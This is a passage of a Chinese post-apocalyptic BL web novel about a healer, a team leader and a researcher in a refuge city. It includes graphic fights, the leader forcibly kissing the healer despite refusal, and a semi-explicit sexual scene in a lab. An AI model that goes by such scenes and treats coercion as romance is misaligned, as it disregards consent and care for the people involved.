“不是?”彭晶摸了摸脑袋,又摸了摸额头,手足无措,难以置信:“那蛇人真敢和老大干啊?” “他妈的不是个孬种吗?” 许时摸着下巴附和道:“是啊是啊,那天他明明看见江医生进了老大房间屁都不敢放一个,现在又当上英雄了?” “咳咳,行了,我们先去看看奎克他们吧,这里让她们看着就好了。”老九打断两人的聊天。 李青青和石欢姐弟在房间里守着江林,关掉灯,拿东西挡着破烂的窗户。 “青青姐”石林轻声开口,“您觉得隗绍哥哥还能回来吗?” 李青青语气冷淡:“够呛。” 石欢摸了摸石林的脑袋,教导他:“隗绍哥哥回来也只会让江林哥哥为难,我们要学会审时度势——最好隗绍哥哥回不来最好。” “好的,姐姐。”石林点了点头。 李青青:“” 躺在床上意识清醒的江林:“” 刚刚他故意的,他知道隗绍在外面偷窥,想要刺激一下这个废物,如果这样都没有任何反应,江林就要重新评估他的价值了。 没有用的东西都可以去死的 而被蛇口叼走的李野行身体撞碎了玻璃,玻璃嵌入他的身体,尖锐的獠牙刺入他的身体,瞬间刺伤了他的肌肤。他用拳头狠狠砸在隗绍眼睛上,李野行直接被甩出了几十米,砸在树上,树直接从中间断裂。 李野行双眼迸射出一丝战意,迅速调整自己的状态,看着参天的蟒蛇,直接发动了自己的异能,拽着蟒蛇进入邻域。他拽着蛇尾陷入深海里,波涛汹涌的海面上掀起白色的浪花,巨大的蛇身在海中翻滚间,两人打得难舍难分。 巨大的蛇头咬住李野行的肩膀,撕扯着他大片的皮肉,牙齿尖锐,近身肉搏。李野行的匕首狠狠滑过他的鳞片,跳入水中,在他身上灵活地穿刺划破,凭借超绝战斗经验,找到了他脆弱的七寸,使出浑身的力气,就是想要钉死他。 巨蟒痛苦地翻滚着身体,化作了人形,失去了所有的力气般任由自己的身体沉入海底。 李野行让大海消失,两人出现在沙发上,隗绍脸色苍白地躺在地上,仿佛死人。 李野行想上前确定他的死亡状况,他也受了不小的伤,几步之后他就停住了脚步。 隗绍的情况很奇怪,裸露的手臂上蔓延出黑红色的血丝,像某种恶心的吸血的生物,在他受伤的地方轻轻地蠕动着。 不过几个呼吸间,那些红丝便将他的伤口包裹住了,同时他的身体沁出黑色的液体,侵蚀着他的领域。 原本紧闭双眼的隗绍,缓缓睁开眼,眼瞳也钻进了密密麻麻的血丝,占据了大半的眼球。他直勾勾的看着李野行,勾了勾唇:“我不怕你了,你这个恶心的疯狗。” 李野行挑了挑眉,将人扔了出去,防止他污染自己的邻域,冷笑一声:“说我恶心,撒泡尿照照自己吧,以前只是半人半兽,现在是半人半鬼了。” “你别吓到江林,江林大半夜醒来看见你这样的人,只怕要直接呕出来,也不知道从前他怎么下嘴的呢。” 隗绍伤口在急速愈合,忍无可忍地暴怒出声:“你闭嘴,你这畜生。” “我就要说,江林跟了我,比跟着你这个窝囊废好多了” 隗绍像是对这三个字有应激反应,死之前被骂了一辈子的窝囊废。 两人又打了起来,异能者的身躯都异化过,坚硬无比,砸在石头上,都是石头稀碎,人还没事。 两个异能者之间不死不休的战斗宛如野兽的互殴,血腥残暴,难分伯仲。 江林半夜睡醒,像是根本不知道发生了什么,迷迷糊糊洗完澡洗漱了一下,吃了点东西继续睡了。 早上的时候,李野行还没回来,大家之间的气氛有些凝重,江林继续给三个伤患治病。 好消息是三个人都活了下来,坏消息是李野行可能死了。 门被推开,一众人瞬间站起来,枪架了起来,对准门口,以为是那只不怕死的丧尸闯了进来,出现的是一夜未归的李野行。 此刻他浑身是血,那场与蛾人大战都没有受这么重的伤,手臂被撕扯下大片的皮肉,露出森森白骨,一只眼在淌着血,半边脸都是血迹,走路都是一瘸一拐的,拖长的血迹流了很远 大家都是一惊,实在是这样的惨状很少能在李野行身上窥见,彭晶声音都有些结巴:“老老大,你没事吧?” 看到这惨烈的样子,一般脑回路正常的人都很难说出那句没事吧。 李野行没回答他的话,一双眼直勾勾盯着江林,一只眼的眼珠子甚至是血红的,受伤的眼睛已经完全不能视物,男人的表情很冷漠可怖,但是越是这样,越没有人敢说话,连呼吸声都不敢太大。 江林坐在沙发上,呆呆地看着李野行,满眼不敢相信,吓得从沙发上坐了起来,有些紧张地看着他,双眼流露出关心之色。 “等下,老大你要不要先去休息”彭晶凑上前,想要劝一劝,虽然隗绍作死,但是江林是无辜的啊,他什么都没有做啊。 可是下一秒,彭晶便被李野行一脚踹飞出去了,是毫不讲理的暴力。彭晶顿时吐出一口鲜血,痛苦地蜷缩在地上,有人小跑过去扶起他,但没有人再敢拦着李野行了。 江林双眼微微瞪大,看了一眼彭晶,又瞧了一眼李野行,下意识要朝着彭晶走去,但又顿住了脚步。 他穿着自己的卫衣,露出细白的脖颈,紧紧盯着李野行,还未等他走近,自己率先朝着他走了两步,伸手抓住他的手腕,看着他鲜血淋淋的脸。 江林眼圈都红了:“你伤得很重,是谁干的?” 李野行面容冷漠地看了他一会儿,唇角突然勾起一抹笑,半边带血的面孔显得森然恐怖:“隗绍被我杀了。” 江林眼瞳一缩,白皙的脸庞肌肉抽搐一瞬,哆嗦地开口:“什么?” “为什么”江林眼底晃荡着眼泪,要哭不哭的模样。 “因为他想杀我,他恨我。”李野行看着伤心的江林,压低声音问他:“你要去陪他吗?” “他真的死了吗?”江林克制着颤抖,抓紧着他的手腕,一直没松开:“你们为什么啊?” 他还是不能理解,并且陷入了深深的困扰,“你们明明都是很好的人。” 见李野行受伤的眼又用处鲜血,他下意识地说道:“你先别动,我看看你的眼睛” 隗绍没死,两人两败俱伤,他趁机逃走,李野行也没有追,他刚刚确实有迁怒江林的意思,也想看看他到底会如何选择。 可是看着那张无辜可怜的脸,想起他的无意中的舍身相助,最终所有的怒气都一泻而出。 他像是虚脱了般,倒在江林身上,抱着他的肩膀,声音有些懒散:“给我治治伤吧,江医生。” 那蛇人走了也好,再也没有碍眼的人阻碍他的行动。眼前这个人也能永远属于自己了。 李野行想当然地这么觉得。 彭晶捂住疼得厉害的胸口,见老大没伤人才松了一口气,却也产生了一丝不满,只是深埋在心中,没有任何的表现。 “好,我先去拿药箱来。” 因为李野行的伤势,众人决定在原地休整一天,江林完全不像是死掉男朋友的人,尽心尽力地给李野行医治,所有人都觉得江林可能会做手脚为自己男朋友报仇,毕竟之前看着两人情比金坚,互相保护。 江林宁死不屈,隗绍舍命保护。 但是江林什么表示都没有,只是在治疗好李野行之后,在房间躲了一下午,午饭和晚饭都没吃。许时送饭的时候发现他的眼圈红红,像是躲起来哭过。 也是了,像江林这样善良的人,男朋友死了自然是要一点表示的,但又不想影响其他人,所以只能默默地垂泪 李野行的伤势很重,左眼已经全部坏掉,除非换掉眼珠子,否则他的左眼永远都是装饰品了,身体上各种撕扯伤也非常严重。江林不知道隗绍的情况,总之不太可能比李野行轻就是了。 江林无声的笑了一声,像原主这样的样貌和异能,既然没有相应的实力护身,只有两种结果,第一种,就是原主的结局,沦为胯/下/玩物,辗转无数人手,毫无人格和人权地活着。 第二种,就是现在江林这种情况,依旧身不由己,末世随着秩序的崩坏,人的欲望也在无限升高,手段越发强势暴虐,看见美好的东西,谁都会想要独占。 但当环绕着宝物的豺狼实力相当,无可避免地会发生争抢,就像隗绍和李野行这种情况,轻则重伤,重则死亡。 江林愿意称之为狗咬狗 李野行听到江林因为隗绍黯然神伤,连食物都吃不进去后,顿时觉得自己火气都冒出来了。他伤成这样都是隗绍造成的,现在江林还因为这个罪魁祸首而伤心,这让他有种被抛弃的错觉。 江林刚下床,准备喝点水,门就从外面粗暴地踹开,他转头看,就瞧见李野行那张阴沉的脸,脸上的伤疤让他看起来更加凶狠。 “你怎么来了?”江林放下水杯。 李野行径直朝着他走过来,气势汹汹,捏着他的下巴,对上他的眼睛,“你在哭?” 江林表情有些闪躲:“我哭怎么了吗?” “你为了隗绍那个傻逼哭?你知不知道我身上的伤都是因为他”李野行危险地盯着他。 “我知道,你告诉我了。”江林很认真地回答。 李野行伸手就要摸枪,一枪崩掉这个鬼小子算了。 “如果你死了,我也会哭的。”江林清澈湛蓝的眼睛静静看着他,平静又包容,宛如温柔的大海,抓着他的手,语气很平和,情绪稳定:“你也是我的朋友,你死了我也会伤心。” 一句话让李野行冒到头顶的火焰被无声的花洒浇灭了,缠着绷带的手腕被江林轻轻握住,江林语气似乎有些无奈:“你别这么大火气,对于养伤不好。” 李野行奇怪地看他一眼,有些怀疑:“你不恨我。” “我为什么要恨你?”江林叹气,“你不会无缘无故杀他,而且你也受伤了所以你为什么要杀他呢?” “因为他是异形,他不是人类了,他的身体被别的东西侵占了。”李野行其实不知道他有没有被寄生,但告诉江林自然是要骗骗的,“他突然攻击你,想要吃掉你,所以我杀了他。” 江林先是不太相信,神情又变成沉思,最终露出一点恍然大悟的表情,“难怪我觉得上次他醒来就有些奇怪” 李野行眉梢一挑,没想到江林这么轻易就相信他的话,表情都没那么凶了,食指顺着江林的唇角滑入,摩挲了一下他的唇,旋即探入他嘴中,指腹摸了摸他雪白的齿列。 江林往后退一步要躲,但是李野行按住他的腰。 “你唔别。”江林拧着眉,小表情有些不情愿。 李野行抵住他的舌头,不让他说话,湿滑的小舌头颤巍巍地缠着他的指头,嫩嫩的舌尖抖得有些厉害,打湿了他的手指。 江林鼻尖闻到了一股淡淡的药味,因为张嘴的时间太长了,他下意识地吸了吸自己的口水,就像是软软地含了一下他的手指,江林唇角都湿润了起来,看着有些可怜。 “你还记得昨晚你做了什么吗?”李野行声音又低沉起来,故作低沉,气氛瞬间因为他这个动作和语调变得暧昧起来。 江林吐出他的手,扭着头不看他:“我不记得,我睡着了” “装什么江林。”李野行挑起下巴,“直视我的眼睛,小兔子。” 江林受不了这个称呼,抿唇道:“我真的不记得了。” “那我帮你回忆一下。”李野行摸了摸他的脸颊:“你强吻我,还说要操/我。” “!”江林瞪大眼睛看着他,圆溜溜的眼睛更加有神漂亮了些,“怎么可能!” “我不会说这种话。” “对,你说的是操操说的是叠词比较可爱?”李野行轻笑一声,说的是强词夺理那一套:“现在你男朋友死了,是不是能安心和我在一起了?” “”江林脸上的笑容有些不自然,“别开玩笑” “啧,突然觉得眼睛有些痛,江医生知不知道接吻可以止痛吗,给我止止疼吧。”李野行一场恶战后,理所当然地觉得自己应该享受自己的战利品,也不管江林同不同意,亲了亲他的嘴唇。 江林偏头,唇角被反复亲着:“没没有这种说法的。” “别动。”李野行打断他的动作,用力吸吮着他的唇,“我会对你好的。” “老大这也太不厚道了,人家刚死了男朋友”许时指指点点地看着那道隐约拥抱在一起的身影。 “那可不,头七都没过呢,江医生也算是小寡妇一枚,要给他一点缓冲的时间吧。” “哎,羊入虎口咯。” 但是下一瞬,吃瓜的几人都僵住了,因为他们听见了一声清脆且巨大的巴掌声。 好家伙,“小寡妇”终究还是不堪受辱反抗了! 许时高呼了一声老天奶,“我就说不能逼太急吧!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 而房间内的气氛非常地窒息凝重, 江林那一巴掌竭尽全力没留手,掌心都通红了。 李野行头偏在一旁,微微低着头, 表情有些震惊,没想到自己会挨打, 旋即脸色一沉,伸手掐住江林的脖子,冷声质问道:“你想死吗?江林。” 江林还没说话, 蜂拥而至的人,七嘴八舌地劝架, 更是直接将李野行架走了,一人抱着一只手臂,底下还有人抱腿的。 等人离开,石欢关上门,李青青才低声道:“要不我们现在离开?” 江林无声地摇头,摸了摸自己的脖子, 轻咳一声:“现在走不掉, 他们盯得太紧了, 不用担心,我没事儿。” “青青姐, 你的伤口说了不能沾水的。”江林看了一眼她手臂的伤口泛白, 有些不满地说道,声音很轻。 李青青脸色缓和,也很无奈:“水系异能没办法避免” “怪我, 异能不够,没给青青姐治好。”江林笑着说道,脸上毫无悲伤和紧张之感, 像是打的一个无关紧要的人 “老大,不是我们故意拦着你,和您作对,而是您认真想一下。”老九队伍里年纪最大的人,说话也很稳重理智,“我们队伍里没有辅助治疗的人,这一块是短板,而江林的能力大家有目共睹。韩悦那小子浑身都是窟窿,血都差点被吸干了,还能救回来,说明这是个人才。” “当然您可以说是因为异能者的能力自愈能力强,但也不可否认江林的确是一个非常优秀的辅助治疗型人才,这是我们队伍现在正缺的” 李野行半张脸都肿了,清晰无比的巴掌印,面色阴沉,嘴里叼着烟,疯狂地抽着,试图冷静下来,但脑海中都是自己被扇的场景。江林愤怒圆润的眼瞳在他眼前闪过,他气得够呛,长这么大扇他巴掌的人都已经入了土,坟上的草都换了几波。 “那我们感性来说,人家刚死了伴侣,算半个寡妇,您这和强迫着寡妇在灵堂牌位前和您苟合有什么区别。”老九说话很慢,字字清晰,动之以情晓之以理。 李野行掀起眼皮,很冷地看了他一眼。 老九只觉得身体一寒,稳住心神继续把自己的话说完:“老大,我就问您一句话,您是觉得新鲜想要玩一玩小少年,还是真的想要和人家好?” 李野行嘴唇动了动,老九抢在前面说道:“您要是只是玩一玩,那您大可不必选择他,漂亮的人多的是,到了金溪避难所我能给您找出一箩筐来,您别动他。” 李野行就不说话了,脸依旧沉得很,不为所动般。 “而且人家年纪还小,刚成年就末世了,您前脚杀了人家情人,后脚逼/奸人家,说句不好听的,扇您一巴掌算轻的” “呵。”李野行冷笑一声,看着众人紧张的神情:“意思是这还是我的错咯?你们现在全部站队指责我?” “不不不,当然不是。”许时第一个表态:“我们支持你把江医生招揽进队伍,而不是用这种手段老大你是不是没谈过恋爱啊?” “”李野行扯了扯嘴角,露出白森森的牙齿,左眼蒙上了纱布,可怜又可怕:“谁说我要和他谈恋爱?” “诶,好嘞。”许时笑眯眯道。 这件事算是暂时揭过,没人再提起。 江林没有任何尴尬,第二天依旧能笑眯眯地和李野行打招呼,像是两人从未发生什么口角,只是李野行冷着脸没有理会他。 “今天如果顺利的话,应该就能到避难所了。”许时估算了一下。 江林这次坐在许时的副驾驶上,他笑了笑:“那么祈祷一切顺利吧。” 许时见他的反应,没按捺住自己心中的好奇,出声问道:“江医生你对老大真的一点想法都没有吗?也不介意昨晚发生的事情?” “大家都是朋友,李野行的性格就是这样我介意似乎对他也没有什么影响。”江林低着头把玩着自己的手指头,抬眼露出笑容:“不过昨晚要谢谢你们,不然我可能要挨打了。” “嗐,这都是小事。”许时也跟着笑了。 这一路畅通无阻,没有出现任何意外,傍晚时分抵达金溪避难所。 说是避难所,其实就和一个小型的城市一般,分为地上城和地下城,如同长城般筑起的高墙,极度坚硬的材质。,丧尸根本无法破坏。城外又组织巡逻队,就是为了驱赶丧尸,在最高处也有十几个放哨的人就是为了观察远处的丧尸情况。 一行人需要登记入册才能进入,避难所的最高领导人是末世前该地联邦委托的领导人,现在顺理成章地管理着金溪。 因为这个队伍异能者之多,成功引起了周扬的注意。 周扬破例和他们会面,给他们优待,真诚地邀请他们一起守护金溪,共同抵御危险,救护人类。 李野行虽然依旧桀骜,但还算有礼貌,笑着应下,队伍里其他人也收敛起凶煞之气,当起了听话的兵卒。 江林给自己找了个班上,去医疗研究所上班。 因为生存空间的压缩,医院和研究所合并,没有分得那么清。 周扬给他们的待遇也很好,提供了足够舒适的住处,连着的三栋四层别墅都划给他们,只要他们愿意留在金溪。 不出意外,江林又和李野行分在一个别墅。 江林和石欢姐弟以及许时、李野行、韩悦若干他们队伍的人。 许时会做饭,他正在厨房做饭,其他人在房间收拾行李,避难所人满为患,都想寻求庇护,所以能给他们这样好的住所的确已经不错了。 江林下楼就瞅见李野行背对着他坐在沙发上抽烟,他脚步微顿,依旧四平八稳地下楼了,笑着打了个招呼,“李老大。” 李野行连个眼锋都没给他,自顾自地抽烟,眼皮耷拉着。 江林也没继续理他,给自己倒了杯温水,捧在手上小口喝着,说实话在末世有个安全的栖息地,会给人一种灵魂上的安抚,灌入温暖,让人生出为了人类的家园鞠躬尽瘁死而后已的雄心壮志。 许时做好晚饭,偌大的长桌,江林坐在最角落的位置,旁边是石欢和韩悦,李野行则在主位,他冷着脸吃饭,自然没人触他霉头,自讨没趣地和他说话。 餐桌上的气氛因为李野行的低气压有些凝重,直到江林清哑温柔的声音在桌上响起,他正在询问韩悦的伤情:“你的伤怎么样了?” 江林不过一天没瞧他,发现他都已经能够独自下床吃饭,真的非常惊讶他的自愈能力。 “还没有痊愈,但是不怎么痛了。”韩悦看起来年纪和江林差不多大,也是清俊的少年,他和江林说话有些紧张,耳朵红了,有种被老师点名的紧张感。 “那你身体素质很好哇。”江林笑了笑,两人的说话声并不大,可以说是很轻声两人聊天,但奈何这里坐在的全是异能者,完全听得清清楚楚,他嘱咐:“你少吃点这种重麻重辣的,伤口恢复慢。” 他一边说着,一边夹了一筷子香辣肉片放在嘴里,好吃得眯起眼睛。 韩悦馋得咽了咽口水,但还是谨遵医嘱,只吃了几片白菜。 “江医生,你觉得好不好吃?”许时坐在他对面,看着他的表情,有些好笑地问他。 江医生狠狠点头,对他竖起大拇指,嘴唇辣得通红:“好牛好牛好牛。” “哈哈哈,那你多吃点。”许时回答。 紧接着气氛就不再那么凝重了,三三两两聊起天来,江林成为了话题的中心,很明显这群人已经完全接纳江林了,甚至想努力和他打好关系。 李野行食不下咽,吃得没滋没味的,如同嚼蜡,猛地从中心人物变成边缘人物的落差感。 众人紧绷的情绪都轻松了些,主要是在一个安全的环境下,又找到了人类伙伴,会有一种归属感。 其乐融融的气氛,李野行除外。 江林回到房间,石欢姐弟找了过来,关上门说悄悄话似的,他们脸上有些纠结之色。 “江林哥哥,你觉得我们要把异能告诉他们吗?”石林率先开口,主动抱住江林的肩膀问道。 石欢也说出自己的考量:“这两天我发现他们好像人还蛮好的。” 因为江林的缘故,那些人也没有为难石欢姐弟,还颇有照顾。 “但是我担心那个老大会让江林哥哥为难。”石欢又拧起眉头,她不太喜欢那个男人,性格太狂,太恶劣了。 “你如果问我的意见。”江林笑了笑,揉揉石林的脑袋:“我不建议你们暴露。” 石欢姐弟愣了一下,他们都以为江林已经成功融入队伍,成为其中一员,没想到还是有戒备的。 “好,我们听你的。”石欢自然听江林的话,莫名地相信她不会伤害自己。 石欢姐弟也没有在家闲着,找了一些零工赚钱,赚的钱都会给江林,江林则会把这些钱交给许时,让他购买物资,他们也不算白住。 江林入职第三天,才发现自己的上司是方向阳。 他成为了方向阳的助理。 “” 这就是所谓的是金子在哪都会发光吗? 方向阳甚至申请到了独立的实验室,江林很难想象他是怎么在这么短的时间内做到这件事情的,除了他,还有两三个助理,其中两个年纪还不小,大概是来学习的。 后来,江林和另外一个年轻助理聊天的时候才知道原来方向阳将自己研究出来的让异能者短暂提升异能的试剂交给了周扬,才换到这样一个干净宽敞明亮的实验室。 晚餐后,实验室逐渐熄灭了光,江林原本想走的,被方向阳叫住了:“江林你留一下。” 江林站住脚步,低头看着脚尖,百无聊赖地踢了踢鞋尖,任谁工作一天被留堂心情都不会太好,而且他饿了。 “你跟我过来。”方向阳穿着白大褂,戴着眼镜,身形高挑。 江林也穿着白大褂,一个像模像样的研究员样子,少了一些少年感,多了严谨禁欲之感。 检查室的人都下班了,江林跟在方向阳身后,大概知道他想要做什么了。 “去拍个片。”方向阳现在对江林的兴趣比任何事情都浓郁。 上次江林身上提取的那管血液,让他培养皿中的那些变异细胞吸收了不少,直接撑破细胞薄膜。长大一些的变异植株也是对他的血液趋之若鹜。如果能提取他血液中的物质,最少也可以制作一个变异生物诱捕剂。 江林看了一眼空无一人的检查室,知道方向阳的想法,他暂时也不想自己的特殊体质暴露。 一系列检查下来,方向阳站在实验床旁边,戴上橡胶手套,扫了一眼江林,道:“脱了衣服躺上去。” 江林已经饿得有些反应迟钝了,脑子里最先接受的是躺上去三个字,等过滤正确的信息之后,愣在原地,“什么?” 方向阳的眼神是无机质的灰色,有一股淡淡的人机感,方向阳似乎看出他的心思,声音毫无起伏和波澜:“你的体质经历这两次变异植株和变异蛾人应该有所警觉。” “你配合我,我也许可以帮你掩盖身上的特殊。” 江林说不心动是骗人的,在末世这点特殊简直就是找死,所以他表情认真了些,真诚地看着方向阳:“方博士麻烦您了,谢谢。” 方向阳脸上的表情毫无变化,并没有因为他的感谢有任何的动容。 江林脱掉自己的外套,里面穿着简单的白衬衣和黑裤子,扣子一颗颗打开,露出漂亮光洁的肌肤。他将自己的衣服整齐地折叠放在一旁,裤子也脱掉,剩下一条浅色的内裤,他站着犹豫了一瞬,见方向阳没说话,又只能自顾自地脱掉。 躺在冰冷的实验床上,江林感觉皮肤鸡皮疙瘩都冒出来了,他下意识地搓了搓胳膊,抬眼看向方向阳。他没有任何的表示,眼底是一片冷漠,看向他的身体的眼神像是在看精美瓷器,没有欲望也没有赞叹。 江林咬了咬唇,敞开手不再遮挡,大剌剌地躺好,方向阳戴着手套的手在他身上滑过,拿着一个冰冷的仪器在他肌肤上滚动了几瞬,不知道在测量什么数据。 方向阳捏了捏他的手臂,感受他的温度和肌肤的紧致,手上仪器突然发出嘀嘀嘀的警报声,吓了江林一跳,下意识朝着门口看去,空无一人。 他来实验室三天,里面的情况摸得清清楚楚,知道这间检查室前两天摄像头也坏掉了。 “没事。”方向阳放下像是探头似的白色仪器,他拿出一个烧杯,“这次可能要再提取一次血液和尿液,还有口液和*液。” 江林听到后面的话,脸颊控制不住地红了起来,视线扫过方向阳的脸,却又感觉自己大题小做了,方博士本人真的是天生当研究员的命,眼中没有男女之分,也没有羞耻感。 “可能不太行,我没什么感觉。”江林毕竟是正常人和他比不了。 方向阳只是轻轻看他一眼,抬手一探,少年莹白的身体瞬间弓起来,他抬手拽住方博士的外套,手指蜷曲发抖,双眼微睁,愕然出声:“博士” “别动。”方向阳曾经是国外某家私人研究室内研究生物进化和人类基因和动物基因融合的顶级专家。后来末世来了,李野行将人带了回来,人类是灵长类动物,基本的繁殖行为对于他来说了如指掌。 “唔”江林猝不及防,浑身泛起淡淡的红色,呼吸都粗了些,视线看向方向阳时,觉得心中微讪。他顶着一张死人脸,面无表情地盯着自己,对于自己毫无反应,真的很有挫败感。 但博士还是博士,起初还有点生疏,但很快就变得熟练起来。 江林伸手一点点拽着方向阳的袖子,将人拉下来一点,抓着他的胳膊,漂亮的蓝眼水光盈盈,眼尾殷红,他低声开口:“博士,我需要一个拥抱。” 方向阳静静看了他一秒,俯身抱住他,依旧毫无反应公事公办的态度。江林抱住他的胳膊,下巴抵在他肩膀处,眯了眯眼从未这么刻意地喘过,娇气又不沙哑,像是能拧出水来。 江林紧紧揪着他的衣服,视线有些模糊又清晰,反复地情绪上头。他的脑子热了热,生出一点不服输来,咬牙死撑。 偌大的实验室内,一尘不染的墙壁和地面,冰冷的仪器让整个地方都充斥着一种毫无人气的严谨冷漠,但在这样一个地方,穿着白色大褂的男人抱着一个少年。 少年的肌肤像是刚从河里捞上来的河蚌,撬开蚌壳,里面粉嫩的蚌肉,憋红了肌肤。 “别跟我犟。”随着方向阳机械冷漠的话音落下,江林瞬间撑不住,一口气从胸口舒出,他下意识地将方博士抱得更紧,身体都蜷缩了一瞬。 方向阳毫无感情地松开他,烧杯见底,江林躺回了实验床上,眼眶在刺眼的灯光下泛着红,仿佛被强光刺痛了双眼,脑海空空如也。他的视线瞥向方向阳,他冷漠无情、毫无反应,已经将自己的劳动成果封存起来。 江林第一次有一种挫败感,有点不舒服的感觉涌上来。他赤脚落在地上跟在他身后,方向阳正在脱手套,然后进行洗手和消毒。 江林拽着他的手腕,眨了眨漂亮的眸子,真诚地问道:“够吗?博士。” 方向阳目光锁在他脸上,一板一眼地回答:“够了。” “成,不够随时找我。”江林眯着眼笑了:“方博士的技术比我死去的男友好多了,我很愿意配合。” 方向阳挣开他拽住自己的手,仿佛听不懂他话中的含义,点了点头:“好。” 意图□□又抹不开脸子的江林人生第一次滑铁卢,从前那些人他露出一点指头,就急不可耐地舔上来。 方向阳倒是清高啊。 江林也不纠结,来日方长:“我可以走了吗?小助理快要饿晕了。” “等下,还有最后两个项目。”方向阳见过太多死人和活人的身体,江林只是比那些身体骨相更漂亮一些,但也都是206块骨头组成,没什么特殊的。 江林回家的时候,已经饿得前胸贴后背,客厅里没有其他人,只有石欢姐弟在等他,见他回来得这么晚,还以为他遇见了什么困难。 “江林哥哥今天怎么这么晚?”石林挽着他的手臂,观察他的表情,没有发现难过的情绪,甚至眉眼间还轻松愉悦才放下心。 石欢给他端来留好的饭菜,“许时哥哥给你留的饭菜,今天吃的牛肉和兔头” 江林眯眼笑了笑,“谢谢你们等我回家。” 江林在餐厅吃饭,石家姐弟就在旁边陪他,分享他们今天干了些什么,赚了多少钱,遇见了什么蠢人,喋喋不休地吐槽。 身后的楼梯传来下楼的脚步声,三人齐刷刷地看过去,是冷着脸的李野行,他回来这么久,作战服还没换掉,身上看起来伤得很重,各种抓痕,伤口沁着血,瞧着还蛮惨的。 江林放下手中的筷子,开口道:“李老大你怎么伤得这么重,我给你看看吧。” 李野行撩起眼皮看了他一眼,三天来和他说的第一句话,还是阴阳怪气地:“耽误你吃饭,我自己去医院找医生吧。” 石欢双手一叉,如果不是寄人篱下,她指定要激情开麦了,回来这么久不去医院,就等江林回来的这一瞬就着急去医院了? 这种低阶的苦肉计,也就能骗骗江林哥哥这样好的人。 江林摆手,旋即站起身来:“不耽误,我吃完了,你坐沙发上,我去拿医疗箱。” 石林看着小半碗饭,小声嘀咕了一句:“哥都没吃多少” 李野行听到这话,难得生出一点良心,觉得一丢丢不好意思,也只有一丢丢。 江林先给他小心脱了外套,拧着眉,语气有些凝重:“今天遇见的变异兽这么厉害?让你都受了这么重的伤,其他人呢?” 李野行面不改色地撒谎:“遇见了变异鬣狗群,他们隔得远没怎么受伤,确实有些厉害。” 刚从楼上下来的许时听见李野行这话嘴角都抽搐了,什么叫确实挺厉害的,如果不是李野行拦着,他们几人早就歼灭干净了,然后他们就看见李野行冲进鬣狗群里碰瓷 “出门在外还是要注意安全,像巡逻守卫这种事情,只需要驱赶就好了,不需要豁出性命”江林给他腹部敷上药,一只手按在他最深的伤口处,缓缓催动自己的异能。 李野行盯着他垂下的白羽般的睫毛,心尖痒得厉害,伸手攥住了他的手腕,粗粝的手指有些糙,像是磨砂纸。 江林的声音顿了一下,然后像是没发现似的,继续说道:“而且我听说巡逻队很危险,内部也很混乱,你们别被坑了,故意派送到危险的地方” 李野行心脏狠狠一跳,多日的阴郁突然就放晴了,他都做好会被甩开的准备,甚至都做好了又被甩巴掌的可能,但江林没有任何反应任由他牵着! 操了,原来老九说的是对的,对待江林这种人就是要循序渐进,温水煮青蛙 江林给他固定好纱布就避开了李野行的手,李野行收紧了手指,攥紧了他的手心,江林抬起睫毛,轻轻看了他一眼。 李野行望向那双蓝眼,目光灼热,下意识地舔了舔唇,然后克制了一下情绪,松开手。 江林又垂下眼,重新给他包扎其他伤口。 其实以李野行的自愈能力包扎伤口就是浪费绷带,也许明天就愈合了。 李野行盯着他瞧,像是被钓得死死的鱼,鱼饵都没扔就急不可耐地冲出水面来咬鱼钩了。 第52章 从那天后李野行的受伤的频率直线上升, 让小队里的人觉得李野行是不是能力退步了,但最终在他暴揍了两位碎嘴子之后,流言也成功地止住。 “确定了吗?关于变异蝾螈的资料全部都在这里?”实验室内两人窃窃私语的声音响起, 伴随着鼠标点击的声音,方向阳另外两名助理正在翻找着什么。 “这么多?几百个文档, 全部复制下来吗?” “下载下来吧。” 两人走了之后,江林才默默从门后走进来,先在电脑上翻开了几下, 感受身后有人,转头看过去。 方向阳正面无表情地走进来, 正在拿毛巾擦着手。 “我刚刚看见他们在盗取你的试验资料”江林拧着眉,显然觉得这样的偷窃行为令人不齿。 方向阳倒是面色如常,甚至刚刚还是他故意给他们腾出空间和时间给他们操作,“这是给他们的场地费。” “放心你的数据他们拿不到。” 江林眼神微闪,整理好桌上的东西,拿着酒精消毒了两人刚刚碰过的地方, 轻声开口:“我知道我很安全, 但博士如果数据被他们都拿走了, 你的研究成果不是也会光明正大被他们窃取了吗?” “研究成果没那么容易窃取,就关于蝾螈变异兽自愈能力的研究, 适用在人体很多风险变量都没有排除, 他们拿了也没用。”方向阳从不在乎这些,甚至相当自傲。 其实关于这些江林也不太懂,他平时跟在方向阳身边就是做一些琐碎的事情, 关于那些密密麻麻的数据看了就头疼,很多时候他都会跑到地上城的医院帮忙。 幽深冰冷的实验室充斥着淡淡的冰冷感和方向阳的适配度高达百分之两百。 江林穿着干净的白大褂,里面是浅色的高领毛衣, 下面是蓝色牛仔裤,白色的休闲鞋,一直和方向阳保持着安全的距离。 有时候方向阳打量他的眼神让他觉得有些寒毛竖起,就像是他看见新奇事物的表情,见方向阳解剖过各种变异动物变异人,骨头拆分、皮肉切碎、血液流了一地 江林合理怀疑方向阳也很想这么对待他,只是碍于各种原因没有下手。 “你先别上去。”方向阳擦了擦眼镜,“把门关上。” 江林去关门,顺便锁上了,“什么吩咐。” “对我使用你的异能。”方向阳坐在试验台前,他身后是四肢都被固定在床上的蝾螈变异兽,它虽然是死的,但血肉还有细小的蠕动,再生能力极强。 “你身上没有伤。”江林看了他一眼。 方向阳闻言拿起旁边的手术刀,毫不犹豫地在他手臂上划了一道,鲜血瞬间溢出来,江林微微睁大双眼,连忙上前握住他的手,使用异能,缓光乍现。 方向阳盯着自己的伤口,看着他渐渐愈合,他抬眼看向江林:“一分九秒,还能不能更快一点。” “可以,但是”江林还没说完,就见他毅然决然地又划破了自己的手臂。 “用你最快的速度让我愈合。”方向阳像是感觉不到疼的机器人,刺伤自己毫不犹豫。 江林咬牙重新催动异能。 “这次是28秒。”方向阳准确地说出了时间,重新拿起刀,江林攥住他的手腕。 “等下,你就算要测试我的异能,也不用划伤自己吧?”江林额前都出了细汗,攥紧他的手腕,不让他继续动了。 “你不会疼吗?” 方向阳当然会疼,只是他不在乎,他灰色的瞳孔静静看着他,“只有亲身感受,才能更加准确地感知。” “不行,你再自伤我不会配合你的。”江林拧着眉,不赞同地说道。 “好。”方向阳松开手,看着被特殊药水浸泡过的蝾螈,“你试试能不能让它重新复活。” “啊?”江林觉得有些匪夷所思,那东西他亲眼看着它死得不能再死了。 